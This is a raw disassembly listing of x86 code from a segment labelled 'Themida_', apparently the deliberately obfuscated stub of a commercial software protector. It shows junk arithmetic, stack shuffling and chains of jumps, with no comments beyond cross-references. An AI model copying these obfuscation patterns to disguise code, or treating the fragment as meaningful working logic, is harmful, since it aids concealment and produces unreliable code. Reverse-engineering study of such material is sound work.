sub ebp, 4
xchg ebp, [esp]
pop esp
jmp loc_5A0104
; ---------------------------------------------------------------------------
loc_5A66D7: ; CODE XREF: Themida_:005AB002j
mov [esp], ecx
mov ch, 0EBh
push cx
jmp loc_5A706A
; ---------------------------------------------------------------------------
loc_5A66E3: ; CODE XREF: Themida_:005A70B3j
push edx
mov edx, 63DD3D07h
jmp loc_599E0E
; ---------------------------------------------------------------------------
loc_5A66EE: ; CODE XREF: Themida_:00598646j
not eax
shl eax, 2
inc eax
add eax, 40ED58DAh
sub edi, eax
pop eax
add edi, ebx
jmp loc_5A2BEB
; ---------------------------------------------------------------------------
loc_5A6703: ; CODE XREF: Themida_:005A05B4j
mov esi, 555437FFh
sub esi, 3BB65C60h
not esi
inc esi
jmp loc_5A2670
; ---------------------------------------------------------------------------
loc_5A6716: ; CODE XREF: Themida_:00596154j
mov ebp, 4
push edx
jmp loc_59D45A
; ---------------------------------------------------------------------------
loc_5A6721: ; CODE XREF: Themida_:00597F84j
push 7EFEh
mov [esp], esi
mov esi, 58530297h
and esi, 615F2935h
add esi, 0BFACFFEFh
sub edi, 256E44ABh
jmp loc_59ED32
; ---------------------------------------------------------------------------
loc_5A6745: ; CODE XREF: Themida_:0059D093j
push edi
mov edi, 1F663B2Dh
jmp loc_59E8D4
; ---------------------------------------------------------------------------
loc_5A6750: ; CODE XREF: Themida_:00598FFAj
mov edi, [esp]
add esp, 4
and esi, 140273FAh
shr esi, 2
jmp loc_599AD5
; ---------------------------------------------------------------------------
loc_5A6767: ; CODE XREF: Themida_:00597DFAj
add esi, 36F40C7Bh
sub esi, 73C62FC3h
sub esp, 4
mov [esp], edx
jmp loc_5A3E8F
; ---------------------------------------------------------------------------
loc_5A677E: ; CODE XREF: Themida_:0059D06Ej
mov eax, [esp]
jmp loc_5A4DF8
; ---------------------------------------------------------------------------
loc_5A6786: ; CODE XREF: Themida_:0059EA9Aj
mov ecx, 4
add eax, ecx
pop ecx
push 2D39h
mov [esp], ebp
push 50C7479Ch
pop ebp
jmp loc_59B995
; ---------------------------------------------------------------------------
loc_5A67A1: ; CODE XREF: Themida_:005AA6C0j
dec dword ptr [esp]
not dword ptr [esp]
jmp loc_5A2F8F
; ---------------------------------------------------------------------------
loc_5A67AC: ; CODE XREF: Themida_:005A0224j
add ebx, 4
sub ebx, 4
jmp loc_59F7F8
; ---------------------------------------------------------------------------
loc_5A67BA: ; CODE XREF: Themida_:005A927Fj
mov edx, ebp
pop ebp
pop edi
add edx, 6B364EADh
sub edx, 4C8B756Bh
add edx, edi
jmp loc_598484
; ---------------------------------------------------------------------------
loc_5A67D1: ; CODE XREF: Themida_:00597D15j
not ebp
jmp loc_5A5CD4
; ---------------------------------------------------------------------------
loc_5A67D8: ; CODE XREF: Themida_:0059A984j
add esp, 4
popa
popf
retn
; ---------------------------------------------------------------------------
jmp loc_595E8C
; ---------------------------------------------------------------------------
loc_5A67E3: ; CODE XREF: Themida_:0059D884j
xchg ebx, [esp]
pop esp
jmp loc_59F539
; ---------------------------------------------------------------------------
loc_5A67EC: ; CODE XREF: Themida_:0059F02Dj
jmp loc_595E8C
; ---------------------------------------------------------------------------
loc_5A67F1: ; CODE XREF: Themida_:00596698j
add edi, 4
jmp loc_59DD7A
; ---------------------------------------------------------------------------
loc_5A67F9: ; CODE XREF: Themida_:00595F02j
sub dword ptr [esp+4], 56E30FFAh
mov edi, [esp]
add esp, 4
mov ebx, [esp]
push ebx
mov ebx, esp
add ebx, 4
add ebx, 4
xchg ebx, [esp]
pop esp
add ebx, 2F864FADh
pop edi
and eax, ebx
push dword ptr [esp]
mov ebx, [esp]
add esp, 4
jmp loc_598051
; ---------------------------------------------------------------------------
loc_5A6831: ; CODE XREF: Themida_:005A3566j
sub esi, 73EF58AAh
pop edx
jmp loc_597FC3
; ---------------------------------------------------------------------------
loc_5A683D: ; CODE XREF: Themida_:005A1D1Ej
pop edx
push eax
jmp loc_59E257
; ---------------------------------------------------------------------------
loc_5A6844: ; CODE XREF: Themida_:00598156j
shr bl, 2
not bl
xor bl, 0E3h
xor cl, bl
jmp loc_599882
; ---------------------------------------------------------------------------
loc_5A6853: ; CODE XREF: Themida_:005A5CC0j
mov [esp], ebx
mov ebx, 33330742h
shr ebx, 5
inc ebx
sub ebx, 0BEE070B6h
add edi, ebx
pop ebx
jmp loc_5A271B
; ---------------------------------------------------------------------------
loc_5A686D: ; CODE XREF: Themida_:0059DABFj
jmp loc_595E8C
; ---------------------------------------------------------------------------
loc_5A6872: ; CODE XREF: Themida_:00598925j
not dword ptr [esp]
jmp loc_59FB21
; ---------------------------------------------------------------------------
loc_5A687A: ; CODE XREF: Themida_:005A75F3j
xor esi, [esp]
xor [esp], esi
xor esi, [esp]
pop esp
shr ecx, 2
push 2DE6h
mov [esp], edx
push 0D26h
jmp loc_5AA78C
; ---------------------------------------------------------------------------
loc_5A6899: ; CODE XREF: Themida_:005A7ADEj
shr esi, 4
neg esi
add esi, 255D19E0h
xor edi, esi
jmp loc_596FAD
; ---------------------------------------------------------------------------
loc_5A68AB: ; CODE XREF: Themida_:005A6202j
sub edx, 4AAA5B72h
push ecx
mov ecx, 20C61A77h
jmp loc_59A4D2
; ---------------------------------------------------------------------------
loc_5A68BC: ; CODE XREF: Themida_:005A63C0j
push edx
mov edx, 2C7C20FCh
not edx
xor edx, 0D383DF07h
add ebp, edx
pop edx
push eax
jmp loc_598855
; ---------------------------------------------------------------------------
loc_5A68D3: ; CODE XREF: Themida_:0059A72Ej
push edi
mov edi, 4
add edx, edi
pop edi
push edi
mov edi, 4
add edx, edi
pop edi
xchg edx, [esp]
pop esp
jmp loc_595E8C
; ---------------------------------------------------------------------------
loc_5A68EE: ; CODE XREF: Themida_:005A3EBCj
mov [esp], ebx
mov bl, 6Ah
jmp loc_5A7E13
; ---------------------------------------------------------------------------
loc_5A68F8: ; CODE XREF: Themida_:00596692j
dec edx
jmp loc_5973A0
; ---------------------------------------------------------------------------
loc_5A68FE: ; CODE XREF: Themida_:005A0E2Fj
pop eax
add ebp, 9167835h
mov edi, [esp]
add esp, 4
jmp loc_59D424
; ---------------------------------------------------------------------------
loc_5A6913: ; CODE XREF: Themida_:005A956Cj
push 3258h
mov [esp], ebx
mov ebx, 4
add ebp, ebx
push dword ptr [esp]
pop ebx
add esp, 4
xor ebp, [esp]
xor [esp], ebp
xor ebp, [esp]
mov esp, [esp]
jmp loc_5A754B
; ---------------------------------------------------------------------------
loc_5A693D: ; CODE XREF: Themida_:00598D68j
push eax
push esp
jmp loc_5A21A1
; ---------------------------------------------------------------------------
loc_5A6944: ; CODE XREF: Themida_:005973D8j
mov ah, 4
or dl, ah
pop ax
jmp loc_597B95
; ---------------------------------------------------------------------------
loc_5A694F: ; CODE XREF: Themida_:005AAFE9j
push dword ptr [esp+4]
pop ecx
pop dword ptr [esp]
mov esp, [esp]
mov [esp], ebp
mov ebp, 9BC4C16h
push ebx
mov ebx, 1FF054F3h
jmp loc_59A7AA
; ---------------------------------------------------------------------------
loc_5A696D: ; CODE XREF: Themida_:005A9147j
mov ebx, esi
mov esi, [esp]
add esp, 4
xor ebx, 11025520h
push eax
mov eax, 0F7A3DE2Dh
sub ebx, eax
pop eax
sub eax, 70293E8Bh
add eax, ebx
add eax, 70293E8Bh
push dword ptr [esp]
mov ebx, [esp]
add esp, 4
add esp, 4
push 698h
mov [esp], edx
push ebp
jmp loc_5A858F
; ---------------------------------------------------------------------------
loc_5A69AD: ; CODE XREF: Themida_:0059B736j
push 1BE6h
mov [esp], edi
mov edi, 5A137D6Ah
jmp loc_5A2EB1
; ---------------------------------------------------------------------------
loc_5A69BF: ; CODE XREF: Themida_:005A96F9j
mov esi, esp
sub esp, 4
mov [esp], ebx
mov ebx, 4
jmp loc_5A23ED
; ---------------------------------------------------------------------------
loc_5A69D1: ; CODE XREF: Themida_:0059A029j
push eax
jmp loc_596B05
; ---------------------------------------------------------------------------
loc_5A69D7: ; CODE XREF: Themida_:005A3867j
push 7A31h
mov [esp], ecx
mov ecx, 6853FFFh
xor ecx, 6853FFBh
add ebx, ecx
jmp loc_5AA249
; ---------------------------------------------------------------------------
loc_5A69F1: ; CODE XREF: Themida_:0059C852j
xor edx, 3A71B02Ah
mov ecx, edx
pop edx
dec ecx
shr ecx, 5
sub ecx, 26B11BCAh
jmp loc_5A9888
; ---------------------------------------------------------------------------
loc_5A6A09: ; CODE XREF: Themida_:005A48A3j
push ebp
push esi
jmp loc_59EF93
; ---------------------------------------------------------------------------
loc_5A6A10: ; CODE XREF: Themida_:005A9577j
push esi
mov esi, 73076E93h
push eax
mov eax, 0C6D0FD9h
not eax
not eax
shl eax, 6
neg eax
not eax
jmp loc_5A88DB
; ---------------------------------------------------------------------------
loc_5A6A2C: ; CODE XREF: Themida_:0059E30Ej
add dword ptr [esp], 4
pop eax
add eax, 4
push edi
push 14B674C3h
push dword ptr [esp]
pop edi
jmp loc_596F87
; ---------------------------------------------------------------------------
loc_5A6A45: ; CODE XREF: Themida_:0059D403j
push eax
mov eax, 0F28031Bh
shr eax, 6
and eax, 2AFC284Eh
xor eax, 3C2008h
mov ecx, eax
pop eax
add edi, ecx
push dword ptr [esp]
jmp loc_5A13C3
; ---------------------------------------------------------------------------
loc_5A6A65: ; CODE XREF: Themida_:0059CB83j
mov ebx, 56942278h
push ebp
mov ebp, 79A66276h
add ebp, 27FE4609h
shl ebp, 8
shl ebp, 2
xor ebp, 0BA08D5C4h
or ebx, ebp
pop ebp
inc ebx
push edx
mov edx, 58070EC9h
jmp loc_59C5EF
; ---------------------------------------------------------------------------
loc_5A6A91: ; CODE XREF: Themida_:0059BABBj
add esi, 4
jmp loc_5A1B1A
; ---------------------------------------------------------------------------
loc_5A6A99: ; CODE XREF: Themida_:005A25A0j
inc eax
push edx
push eax
pop edx
jmp loc_5A369A
; ---------------------------------------------------------------------------
loc_5A6AA2: ; CODE XREF: Themida_:005A78A5j
pop dword ptr [esp]
mov esp, [esp]
jmp loc_59B2F7
; ---------------------------------------------------------------------------
loc_5A6AAD: ; CODE XREF: Themida_:005A0C5Cj
push ebx
mov bl, ch
mov dl, bl
jmp loc_5AA273
; ---------------------------------------------------------------------------
loc_5A6AB7: ; CODE XREF: Themida_:005A0383j
add ebp, 14FD8366h
sub ebx, ebp
jmp loc_5A301C
; ---------------------------------------------------------------------------
loc_5A6AC4: ; CODE XREF: Themida_:005A7811j
push dword ptr [esp]
pop edx
jmp loc_59B950
; ---------------------------------------------------------------------------
loc_5A6ACD: ; CODE XREF: Themida_:005A7D08j
mov dh, 34h
and dh, 37h
add dh, 29h
shr dh, 3
push eax
jmp loc_59BBE6
; ---------------------------------------------------------------------------
loc_5A6ADE: ; CODE XREF: Themida_:005A80C0j
mov esi, 42CB7202h
shl esi, 3
neg esi
push esi
not dword ptr [esp]
jmp loc_599056
; ---------------------------------------------------------------------------
loc_5A6AF1: ; CODE XREF: Themida_:0059C73Bj
mov [esp], edi
mov edi, esp
add edi, 4
jmp loc_5A86EF
; ---------------------------------------------------------------------------
loc_5A6B01: ; CODE XREF: Themida_:005A324Fj
mov edi, 14B07536h
inc edi
shr edi, 4
not edi
jmp loc_5976C3
; ---------------------------------------------------------------------------
loc_5A6B11: ; CODE XREF: Themida_:00596C6Cj
inc edi
jmp loc_598039
; ---------------------------------------------------------------------------
loc_5A6B17: ; CODE XREF: Themida_:005A9FA4j
mov esp, [esp]
mov [esp], ecx
mov ecx, 4
add edi, ecx
pop ecx
xor edi, [esp]
jmp loc_59779D
; ---------------------------------------------------------------------------
push dword ptr [esp]
pop eax
sub esp, 4
mov [esp], ebx
jmp loc_59738D
; ---------------------------------------------------------------------------
loc_5A6B3C: ; CODE XREF: Themida_:005A20EAj
xor ebp, edx
pop edx
push ebx
mov ebx, 7D4D0DC0h
xor ebp, ebx
mov ebx, [esp]
add esp, 4
jmp loc_5A8B07
; ---------------------------------------------------------------------------
loc_5A6B55: ; CODE XREF: Themida_:005A22EDj
mov edx, ebx
jmp loc_5AB0C6
; ---------------------------------------------------------------------------
loc_5A6B5C: ; CODE XREF: Themida_:005A2652j
pop eax
sub esp, 4
mov [esp], ecx
push 7D28h
mov [esp], edi
jmp loc_59CA46
; ---------------------------------------------------------------------------
loc_5A6B70: ; CODE XREF: Themida_:00599EBAj
add ebx, 4
sub ebx, 4
xchg ebx, [esp]
jmp loc_5A64D0
; ---------------------------------------------------------------------------
loc_5A6B81: ; CODE XREF: Themida_:0059883Aj
pop dword ptr [esp]
mov esp, [esp]
push 7C60h
mov [esp], ebp
jmp loc_5A4151
; ---------------------------------------------------------------------------
loc_5A6B94: ; CODE XREF: Themida_:005A590Aj
pop ebx
inc ebx
add ebx, 64D07B4Fh
not ebx
or ebx, 6D240C96h
push 221Ah
mov [esp], edx
mov edx, 65DD7F3Fh
jmp loc_5A0BBB
; ---------------------------------------------------------------------------
loc_5A6BB6: ; CODE XREF: Themida_:005A2F8Aj
mov edi, edx
jmp loc_5A1561
; ---------------------------------------------------------------------------
loc_5A6BBD: ; CODE XREF: Themida_:005AB30Cj
push eax
jmp loc_5991D4
; ---------------------------------------------------------------------------
loc_5A6BC3: ; CODE XREF: Themida_:0059BA99j
add esp, 4
pop ebp
add ebp, 4
push edi
jmp loc_5A1209
; ---------------------------------------------------------------------------
loc_5A6BD6: ; CODE XREF: Themida_:005A0802j
add edi, 633649E6h
push ecx
push 193E556Fh
pop ecx
shr ecx, 6
push esi
mov esi, 1
sub ecx, esi
pop esi
add ecx, 71655CA6h
push eax
mov eax, 1B5C75CFh
dec eax
xor eax, 63315DDEh
xor eax, 1C877755h
jmp loc_5A1988
; ---------------------------------------------------------------------------
loc_5A6C0B: ; CODE XREF: Themida_:00599927j
mov [esp], eax
push 6672h
mov [esp], ebx
mov ebx, 2D9B5313h
shl ebx, 8
push 361Bh
mov [esp], esi
mov esi, 9B53131Ch
jmp loc_59C3AF
; ---------------------------------------------------------------------------
loc_5A6C30: ; CODE XREF: Themida_:005AA36Ej
sub esi, ebx
add esi, 34E34DABh
jmp loc_5A2339
; ---------------------------------------------------------------------------
loc_5A6C3D: ; CODE XREF: Themida_:005A13B5j
push 49C420B5h
jmp loc_59AB04
; ---------------------------------------------------------------------------
loc_5A6C47: ; CODE XREF: Themida_:005A851Aj
xchg ecx, [esp]
pop esp
mov [esp], eax
push esi
jmp loc_599262
; ---------------------------------------------------------------------------
loc_5A6C54: ; CODE XREF: Themida_:0059CDCCj
pop ebp
add esp, 4
push 7D5Dh
jmp loc_59DFD7
; ---------------------------------------------------------------------------
loc_5A6C62: ; CODE XREF: Themida_:005979F4j
sub eax, ebp
sub eax, 741E362Ch
mov ebp, [esp]
add esp, 4
xor eax, [esp]
xor [esp], eax
xor eax, [esp]
jmp loc_59EDED
; ---------------------------------------------------------------------------
loc_5A6C80: ; CODE XREF: Themida_:00599439j
add edx, 4
sub edx, 4
xchg edx, [esp]
mov esp, [esp]
mov [esp], esp
add dword ptr [esp], 4
mov esi, [esp]
add esp, 4
add esi, 4
push edi
push edi
push esp
pop edi
add edi, 4
sub edi, 4
xchg edi, [esp]
jmp loc_59C8EE
; ---------------------------------------------------------------------------
loc_5A6CBD: ; CODE XREF: Themida_:0059F7CEj
add ecx, esi
pop esi
push ecx
mov ecx, 48D51F89h
jmp loc_599148
; ---------------------------------------------------------------------------
loc_5A6CCB: ; CODE XREF: Themida_:005A4D89j
mov [esp], esi
jmp loc_5A9390
; ---------------------------------------------------------------------------
loc_5A6CD3: ; CODE XREF: Themida_:005A7ABDj
mov [esp], ebx
mov eax, [esp]
jmp loc_59D217
; ---------------------------------------------------------------------------
loc_5A6CDE: ; CODE XREF: Themida_:00597491j
sub esp, 4
mov [esp], eax
mov eax, esp
add eax, 4
jmp loc_5A92CC
; ---------------------------------------------------------------------------
loc_5A6CF3: ; CODE XREF: Themida_:0059BC4Cj
push 367Eh
mov [esp], ecx
mov ecx, 558532C7h
mov esi, 0FE3DD50Ch
add esi, 164552F2h
jmp loc_59625C
; ---------------------------------------------------------------------------
push dword ptr [esp]
push dword ptr [esp]
pop eax
add esp, 4
jmp loc_59F850
; ---------------------------------------------------------------------------
loc_5A6D1F: ; CODE XREF: Themida_:005A96D1j
pop ecx
add esp, 4
sub esp, 4
mov [esp], ebx
mov ebx, 35D72304h
sub esp, 4
mov [esp], esi
mov esi, 48397B56h
jmp loc_5A8F86
; ---------------------------------------------------------------------------
loc_5A6D3E: ; CODE XREF: Themida_:00597893j
xor eax, [esp]
pop esp
push esp
pop dword ptr [esp]
push edx
mov edx, 4
add [esp+4], edx
pop edx
jmp loc_59CBDF
; ---------------------------------------------------------------------------
loc_5A6D56: ; CODE XREF: Themida_:005A502Bj
pop esp
mov eax, [esp]
add esp, 4
push edx
jmp loc_598B8C
; ---------------------------------------------------------------------------
loc_5A6D66: ; CODE XREF: Themida_:0059CE20j
mov edx, 3EA56589h
jmp loc_59D794
; ---------------------------------------------------------------------------
loc_5A6D70: ; CODE XREF: Themida_:005A981Bj
xor ebx, [esp]
xor [esp], ebx
jmp loc_59B2C7
; ---------------------------------------------------------------------------
loc_5A6D7B: ; CODE XREF: Themida_:00599934j
push dword ptr [esp]
pop ebp
add esp, 4
jmp loc_5A3552
; ---------------------------------------------------------------------------
loc_5A6D8A: ; CODE XREF: Themida_:005A3B7Aj
add edx, 10DC3355h
sub edx, ebx
sub edx, 10DC3355h
sub edx, 4A4019EAh
jmp loc_5A2F6E
; ---------------------------------------------------------------------------
loc_5A6DA3: ; CODE XREF: Themida_:005962AAj
mov esp, [esp]
push esi
mov esi, 49D5694Bh
or esi, 19FB69E0h
push eax
mov eax, 43BA6A96h
add esi, eax
mov eax, [esp]
push ebp
jmp loc_5A2E9B
; ---------------------------------------------------------------------------
loc_5A6DC3: ; CODE XREF: Themida_:0059E03Fj
add ecx, 495E503Fh
jmp loc_5AA709
; ---------------------------------------------------------------------------
loc_5A6DCE: ; CODE XREF: Themida_:005A649Cj
pop edx
push eax
jmp loc_5967F2
; ---------------------------------------------------------------------------
loc_5A6DD5: ; CODE XREF: Themida_:005968BCj
push ebx
push esp
jmp loc_59DBE6
; ---------------------------------------------------------------------------
loc_5A6DDC: ; CODE XREF: Themida_:0059CBB0j
mov esp, [esp]
sub esp, 4
mov [esp], edi
sub esp, 4
jmp loc_59BDFE
; ---------------------------------------------------------------------------
loc_5A6DF3: ; CODE XREF: Themida_:005976B1j
add eax, 47492890h
jmp loc_5A9571
; ---------------------------------------------------------------------------
loc_5A6DFD: ; CODE XREF: Themida_:005A4B6Ej
pop ebx
push 6Bh
jmp loc_5A1CDE
; ---------------------------------------------------------------------------
loc_5A6E08: ; CODE XREF: Themida_:00596F8Ej
not dword ptr [esp]
mov edi, [esp]
add esp, 4
push eax
mov eax, 77D13331h
jmp loc_5A8A28
; ---------------------------------------------------------------------------
loc_5A6E1F: ; CODE XREF: Themida_:00598587j
jmp dword ptr [edi+eax*4]
; ---------------------------------------------------------------------------
popa
retn
; ---------------------------------------------------------------------------
push dword ptr [esp]
pop eax
sub esp, 4
mov [esp], ecx
mov ecx, esp
jmp loc_59CD76
; ---------------------------------------------------------------------------
loc_5A6E38: ; CODE XREF: Themida_:0059FF58j
dec ebp
push ebp
xchg ebx, [esp]
xchg eax, ebx
not eax
jmp loc_59C3C7
; ---------------------------------------------------------------------------
loc_5A6E45: ; CODE XREF: Themida_:0059A8F4j
inc edi
neg edi
add edi, 1A4AC301h
add ebp, edi
mov edi, [esp]
jmp loc_59782F
; ---------------------------------------------------------------------------
loc_5A6E58: ; CODE XREF: Themida_:00595ED5j
add esp, 4
jmp loc_595E8C
; ---------------------------------------------------------------------------
loc_5A6E60: ; CODE XREF: Themida_:0059AF25j
add esp, 4
jmp loc_5AAE61
; ---------------------------------------------------------------------------
loc_5A6E68: ; CODE XREF: Themida_:005A1C4Dj
add esi, 4
sub esi, 4
jmp loc_5976FB
; ---------------------------------------------------------------------------
loc_5A6E76: ; CODE XREF: Themida_:0059F23Bj
pop ecx
push ebx
mov ebx, 5A8C56D2h
sub ebx, 468642CEh
and ebx, 2C465197h
xor ebx, 2D211C95h
jmp loc_5A4A55
; ---------------------------------------------------------------------------
loc_5A6E94: ; CODE XREF: Themida_:005A95C3j
push edi
mov edi, 4
jmp loc_59821A
; ---------------------------------------------------------------------------
loc_5A6E9F: ; CODE XREF: Themida_:005A5E2Ej
add esi, 4
push ecx
push esi
mov esi, 18C17023h
push ebp
mov ebp, 410069BCh
and esi, ebp
pop ebp
push ebp
mov ebp, 72C456CEh
jmp loc_5977D4
; ---------------------------------------------------------------------------
loc_5A6EC0: ; CODE XREF: Themida_:005A7129j
pop dword ptr [esp]
pop esp
mov [esp], edx
push 7ADCh
jmp loc_5A9FB9
; ---------------------------------------------------------------------------
loc_5A6ED1: ; CODE XREF: Themida_:005AA7DFj
pop ebx
push ebp
mov ebp, 0BCE3A10h
not ebp
shr ebp, 7
push edx
mov edx, 2724254Eh
jmp loc_599A47
; ---------------------------------------------------------------------------
loc_5A6EE8: ; CODE XREF: Themida_:00597C8Dj
add esi, 4
add esi, 4
jmp loc_5961CE
; ---------------------------------------------------------------------------
loc_5A6EF6: ; CODE XREF: Themida_:005A5960j
add edx, 167E1E43h
sub edx, 902E7B9Dh
sub ebp, edx
pop edx
add ebp, ebx
jmp loc_597336
; ---------------------------------------------------------------------------
loc_5A6F0C: ; CODE XREF: Themida_:00596300j
push 3CB9h
mov [esp], eax
mov ah, 49h
mov bh, ah
jmp loc_5A613D
; ---------------------------------------------------------------------------
loc_5A6F1D: ; CODE XREF: Themida_:005961D2j
sub [edi+24h], ebp
pop ebp
loc_5A6F21: ; CODE XREF: Themida_:00597C3Ej
push 4F06h
mov [esp], ebx
push dword ptr [esp]
jmp loc_59EF9D
; ---------------------------------------------------------------------------
loc_5A6F31: ; CODE XREF: Themida_:005A1B3Ej
mov edi, 31A71FD8h
mov ebp, edi
pop edi
or edi, ebp
mov ebp, [esp]
add esp, 4
sub edi, 627911D4h
push edx
mov edx, 0D27AB947h
sub edi, 315A08D6h
sub edi, edx
add edi, 315A08D6h
mov edx, [esp]
jmp loc_596CF6
; ---------------------------------------------------------------------------
loc_5A6F66: ; CODE XREF: Themida_:005A00A8j
push eax
push 1708h
mov [esp], esp
push ebp
mov ebp, 4
add [esp+4], ebp
pop ebp
mov eax, [esp]
jmp loc_5974A1
; ---------------------------------------------------------------------------
loc_5A6F82: ; CODE XREF: Themida_:005A5336j
push 1DC0h
mov [esp], edx
jmp loc_59F387
; ---------------------------------------------------------------------------
loc_5A6F8F: ; CODE XREF: Themida_:0059D19Cj
mov dl, ch
mov bl, dl
pop edx
push ecx
mov ch, bl
jmp loc_5A0388
; ---------------------------------------------------------------------------
push dword ptr [esp]
push dword ptr [esp]
mov eax, [esp]
add esp, 4
add esp, 4
jmp loc_59981C
; ---------------------------------------------------------------------------
loc_5A6FB6: ; CODE XREF: Themida_:005A043Aj
pop ebp
push 5061h
mov [esp], esi
jmp loc_59B7E7
; ---------------------------------------------------------------------------
loc_5A6FC4: ; CODE XREF: Themida_:005A6293j
add esi, ecx
mov ecx, [esp]
add esp, 4
add ecx, esi
pop esi
xor ecx, [esp]
xor [esp], ecx
xor ecx, [esp]
jmp loc_598E68
; ---------------------------------------------------------------------------
loc_5A6FDD: ; CODE XREF: Themida_:005A94F4j
pop dword ptr [esp]
pop esp
push dword ptr [esp]
push dword ptr [esp]
pop ecx
add esp, 4
push eax
push esp
pop eax
jmp loc_5A7F23
; ---------------------------------------------------------------------------
loc_5A6FF6: ; CODE XREF: Themida_:0059AEA0j
shr edi, 8
jmp loc_5A4C55
; ---------------------------------------------------------------------------
loc_5A6FFE: ; CODE XREF: Themida_:005A5F71j
mov [esp], edx
jmp loc_597FD3
; ---------------------------------------------------------------------------
loc_5A7006: ; CODE XREF: Themida_:005A77CCj
push eax
jmp loc_5A2E50
; ---------------------------------------------------------------------------
loc_5A700C: ; CODE XREF: Themida_:005A616Dj
sub esp, 4
mov [esp], ecx
mov ecx, 4
add esi, ecx
pop ecx
jmp loc_59F6AB
; ---------------------------------------------------------------------------
loc_5A7022: ; CODE XREF: Themida_:005A1022j
mov ecx, 2633C68h
not ecx
push esi
mov esi, 0FD9CC393h
jmp loc_597060
; ---------------------------------------------------------------------------
loc_5A7034: ; CODE XREF: Themida_:005A4874j
mov edx, 13A32DB2h
jmp loc_599A03
; ---------------------------------------------------------------------------
loc_5A703E: ; CODE XREF: Themida_:005A2CCDj
add esp, 4
and dl, 0C2h
push ecx
mov cl, 18h
xor dl, cl
jmp loc_5A94E6
; ---------------------------------------------------------------------------
loc_5A704E: ; CODE XREF: Themida_:005A4FD8j
add ebp, 0A423978h
add edx, ebp
pop ebp
jmp loc_59DC27
; ---------------------------------------------------------------------------
loc_5A705C: ; CODE XREF: Themida_:005A4488j
mov [esp], edx
push esp
push dword ptr [esp]
pop edx
push ebp
jmp loc_5A5DCC
; ---------------------------------------------------------------------------
loc_5A706A: ; CODE XREF: Themida_:005A66DEj
mov cl, 2
add bl, cl
pop cx
jmp loc_597F89
; ---------------------------------------------------------------------------
loc_5A7075: ; CODE XREF: Themida_:005AB0E2j
pop esi
jmp loc_59B119
; ---------------------------------------------------------------------------
loc_5A707B: ; CODE XREF: Themida_:005989BBj
mov bh, 0FBh
push edx
mov dh, 81h
or dh, 58h
and dh, 75h
inc dh
sub dh, 73h
add al, dh
pop edx
sub al, bh
sub al, 0DFh
pop bx
sub al, 0D5h
add al, bl
add al, 0D5h
push cx
push 13D2h
mov [esp], eax
jmp loc_5995B2
; ---------------------------------------------------------------------------
loc_5A70A9: ; CODE XREF: Themida_:00598E7Fj
mov eax, 2D3900BBh
xor eax, 3F306ECAh
jmp loc_5A66E3
; ---------------------------------------------------------------------------
loc_5A70B8: ; CODE XREF: Themida_:005A15F1j
add edx, edi
pop edi
xchg edx, [esp]
pop esp
push 6BFEh
mov [esp], eax
mov eax, 7CC57DC7h
push edi
jmp loc_599E91
; ---------------------------------------------------------------------------
loc_5A70D2: ; CODE XREF: Themida_:005A5BB4j
mov eax, 73336430h
jmp loc_59CC18
; ---------------------------------------------------------------------------
loc_5A70DC: ; CODE XREF: Themida_:0059B00Cj
mov [esp], edi
jmp loc_5A365E
; ---------------------------------------------------------------------------
loc_5A70E4: ; CODE XREF: Themida_:005AA5E6j
add ebp, 1AD64133h
or ebp, 58E41CA3h
jmp loc_5A2F37
; ---------------------------------------------------------------------------
loc_5A70F5: ; CODE XREF: Themida_:005A9672j
pop ecx
mov edx, [esp]
jmp loc_5982F9
; ---------------------------------------------------------------------------
loc_5A70FE: ; CODE XREF: Themida_:005A1469j
mov edx, 45893859h
not edx
push ebx
mov ebx, 509F9B63h
add edx, ebx
pop ebx
add ebx, edx
jmp loc_5960F2
; ---------------------------------------------------------------------------
loc_5A7115: ; CODE XREF: Themida_:0059C243j
mov ecx, 9C199D5h
add ebx, ecx
mov ecx, [esp]
jmp loc_5A95A4
; ---------------------------------------------------------------------------
loc_5A7124: ; CODE XREF: Themida_:005A7CDBj
push dword ptr [esp+4]
pop ecx
jmp loc_5A6EC0
; ---------------------------------------------------------------------------
loc_5A712E: ; CODE XREF: Themida_:0059CDD3j
pop ecx
push esi
mov esi, 21E23575h
jmp loc_5A7597
; ---------------------------------------------------------------------------
loc_5A713A: ; CODE XREF: Themida_:00598F49j
pop esp
jmp loc_5A9518
; ---------------------------------------------------------------------------
loc_5A7140: ; CODE XREF: Themida_:005A37E6j
pop esp
mov [esp], ebx
jmp loc_5A590F
; ---------------------------------------------------------------------------
loc_5A7149: ; CODE XREF: Themida_:005A793Fj
add dword ptr [esp], 4
jmp loc_5A023B
; ---------------------------------------------------------------------------
loc_5A7155: ; CODE XREF: Themida_:0059688Aj
mov edx, esp
add edx, 4
sub edx, 4
xchg edx, [esp]
jmp loc_59FDDD
; ---------------------------------------------------------------------------
mov cx, [esp]
push eax
mov eax, esp
push 399Fh
mov [esp], edx
push ebx
push eax
mov eax, 19720B22h
mov ebx, eax
pop eax
or ebx, 664973F9h
sub ebx, 64557B1Ah
jmp loc_59CF38
; ---------------------------------------------------------------------------
loc_5A7192: ; CODE XREF: Themida_:00598A5Bj
mov [esp], esp
jmp loc_59D5C4
; ---------------------------------------------------------------------------
push 1FC6h
mov [esp], esi
push 63942EEBh
mov esi, [esp]
push edi
jmp loc_5A54C6
; ---------------------------------------------------------------------------
loc_5A71B0: ; CODE XREF: Themida_:005A1C08j
add esp, 4
add esp, 4
add esi, eax
sub esi, 58D631BCh
push dword ptr [esp]
jmp loc_5A3332
; ---------------------------------------------------------------------------
loc_5A71C9: ; CODE XREF: Themida_:005A1B03j
xchg eax, [esp]
jmp loc_5A664A
; ---------------------------------------------------------------------------
loc_5A71D1: ; CODE XREF: Themida_:005A5CC7j
add bl, 0EBh
push ecx
jmp loc_59B614
; ---------------------------------------------------------------------------
loc_5A71DA: ; CODE XREF: Themida_:005A7AF6j
mov edi, ecx
pop ecx
xor edx, edi
pop edi
push edi
mov edi, 493C368Bh
xor edx, edi
pop edi
or edx, 2DD60DA4h
sub edx, 0FFFFFFFFh
sub esp, 4
mov [esp], ecx
mov ecx, 0F5CDC433h
add edx, ecx
pop ecx
xor esi, edx
mov edx, [esp]
add esp, 4
jmp loc_5A41B8
; ---------------------------------------------------------------------------
loc_5A7210: ; CODE XREF: Themida_:005AA26Ej
xor edx, [esp]
xor [esp], edx
xor edx, [esp]
pop esp
jmp loc_5A5215
; ---------------------------------------------------------------------------
loc_5A721F: ; CODE XREF: Themida_:005A1A43j
add ebp, eax
pop eax
mov ebx, 8268D12Eh
sub ebx, ebp
pop ebp
jmp loc_59ABEB
; ---------------------------------------------------------------------------
